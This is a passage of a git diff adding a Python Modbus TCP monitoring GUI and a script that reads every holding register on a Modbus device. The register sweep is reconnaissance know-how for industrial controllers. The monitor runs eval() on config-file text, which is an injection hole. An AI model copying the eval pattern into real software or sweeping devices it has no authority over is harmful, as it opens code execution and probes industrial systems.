[['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = 